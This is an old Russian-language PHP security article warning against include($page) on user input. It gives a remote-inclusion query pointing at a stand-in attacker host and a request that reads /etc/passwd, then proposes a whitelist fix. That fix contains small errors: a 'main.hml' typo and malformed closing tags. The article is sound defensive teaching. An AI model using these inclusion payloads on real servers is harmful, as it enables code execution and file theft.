TIGERCMS.com - документация, статьи и примеры по PHP. [Назад]

Коварство include в PHP[Печать]
Разместил: admin . Раздел: Безопасность. Опубликовано: 09-20-2007 19:49:07
Многие начинающие программисты допускают ошибку, создавая файл шаблона с верхним и нижним колонтитулами для веб-сайта и ещё один файл с содержанием страницы в URL. Например:

<html>
<head>
<title>Это сайт пользователя</title>
</head>
<body>
<?php include($page); ?>
</body>
</html>

Затем создаются ссылки типа script.php?page=main.html. Поступать так очень опасно, потому что этот прием уязвим для целого ряда атак.

Если в файле php.ini для allow_url_fopen задано значение on, то атакующий может выполнить на сервере произвольный PHP скрипт, вызвав script.php со стракой запроса ?page=http://attack-user.com/code.txt. В результате PHP запросит code.txt с сервера атакующего, включит его в страницу и выполнит. Это одна из главных причин, по которым allow_url_fopen надо устанавливать off, если нет действительной необходимости в обратном. Другая атака, которую разрешает этот сценарий, заключается в установке для переменной $page значение /etc/passwd, что приведет к посылке файла /etc/passwd атакующему. Лучший способ защиты - не пользоваться таким приемом.
Лучше присвойте номер каждой странице и создайте массив с именами файлов страниц, индексированный по их номерам. Включайте $pages[$index], как показано ниже:


<?php
$pages = array(1 => "main.hml", 2 => "news.html");
If(($index < 1) or ($index > 2))
$index = 1;
?>
<html>
<head>
<title>Site</title>
</head>
<body>
<b>Добрый день!</b>
<br>
<?php include $pages[$index]; ?>
<body>
<html>

Этот сценарий вызывается со строкой запроса ?index=1 для доступа к main.html или ?index=2 для доступа к news.html.
Источник: http://qdp.ru   Прочитана 1048 раз.